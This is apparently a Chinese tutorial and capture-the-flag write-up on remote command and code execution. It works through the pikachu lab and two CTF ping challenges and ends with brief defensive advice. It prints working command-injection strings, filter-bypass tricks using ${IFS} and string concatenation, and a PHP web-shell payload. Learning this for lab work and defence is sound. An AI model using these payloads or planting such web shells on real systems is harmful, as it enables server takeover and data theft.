目录
RCE
RCE:remote command/code execute,即远程代码/命令执行漏洞。RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。
命令执行漏洞是指攻击者可以随意的执行系统命令,它属于高危漏洞之一。
远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
我们先看一个pikachu靶场中的例子。
exec "ping"
首先我们可以通过ping来与检测某个地址的联通状态。这里我们ping环回地址。不知道为什么有部分的乱码。但是我们还是可以看到是可以ping通的。
在Windows系统下,”&&“的作用是将两条命令连接起来执行,在Linux系统下同样适用,另外,&、|、||符号同样也可以作为命令连接符来使用。例如:
127.0.0.1 | whoami
127.0.0.1 & whoami
127.0.0.1 || whoami
这里我们使用上述的命令,便可以得知当前的用户,当然也可以判断出操作系统为windows,我们可以通过两种方法来判断操作系统的类型:
方法一:Windows对大小写是不敏感的,而linux系统对大小写是敏感的
方法二:通过TTL值来判断:
LINUX 64
WIN2K/NT 128
WINDOWS 系列 32
UNIX 系列 255
接下来我们可以使用dir来查询当前目录以及当前路径下的文件等。
127.0.0.1 && dir
使用type来参看文件中的内容。
127.0.0.1 && type D:\phptudy\WWW\1.txt
exec "evel"
题目提示的很明显,让我们输入一个喜欢的字符串,ok,我们输入一下phpinfo();试一下。
显然后台将我们的输入作为代码的一部分进行了执行,便造成了远程代码执行漏洞。所以我们通过向文件中写如一个php一句话木马来getshell。
payload:
fputs(fopen('shell.php','w'),'<?php eval($_POST[shell]);?>');
这里就发现了我们创建的文件成功上传了!通过蚁剑来连一下。
任何脚本语言都可以调用操作系统命令,而各个脚本语言的实现方式都不一样。命令执行漏洞和代码执行漏洞的区别是:命令执行漏洞是直接调用操作系统的命令;而代码执行漏洞是靠执行脚本代码调用系统命令。如eval(system('set'););
BUUCTF-Ping Ping Ping1
进入页面,显示如下,很明显题目已经提示我们ping!
所以接下来我们输入ip地址来查看显示。
跟我们上面用pikachu的靶场做的练习感觉差不多。通过TTL值为56,我们判断为linux系统,一般来说接近64判断为linux,接近128一般判断为windows系统。我们来判断一下当前路径下的文件有哪些。使用payload:?ip=127.0.0.1|ls
这里我们就看到了flag.php。尝试读取flag.php。payload:?ip=127.0.0.1 | cat flag.php 。
哦检测空格!看来是对空格做了一定的过滤操作。
常见的linux中的空格绕过姿势:
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
这里又发现了对特殊符号的过滤!继续尝试其他的绕过姿势。
哎!flag又被过滤了。要不还是先读一下index.php吧。
这里我们就发现它使用了正则表达式来过滤,所以我们要绕过正则。主要有三种方法。可以参考下面的这篇文章:BUUCTF__[GXYCTF2019]Ping Ping Ping_题解_风过江南乱的博客-CSDN博客
这里我们使用拼接绕过:
?ip=127.0.0.1;a=lag.php;b=f;cat$IFS$9$b$a
最终在页面源代码中找到flag。
攻防世界-commend-execution
输入127.0.0.1先来判断一下操作系统。
判断为linux系统,尝试ls查看一下,当前路径下的文件。
只发现了index.php。找一下flag.txt在哪里。
ok,找到了flag的路径,尝试读取。
本题比较简单没有任何的过滤。
防范命令执行漏洞
了解了代码的执行原理之后,对其防范就比较简单了,根据语言的相似点,总结了一下几点的方法:
1. 尽量不要使用系统执行命令。
2. 在进入执行命令函数/方法之前,变量一定要做好过滤,对敏感的字符进行转义。
3. 在使用动态函数之前,确保使用的函数是指定的函数之一。
4. 对PHP语言来说,不能完全控制的危险函数最好不要去使用。
在进行防范之前,确保输入是否可控,如果外部不可输入,代码只有程序开发人员可以控制,这样,即使你写的代码漏洞百出,也不会有危害。相对来说,只要输入可控,就可能存在安全漏洞。也就验证了一句老话:”有输入的地方,就有可能存在漏洞“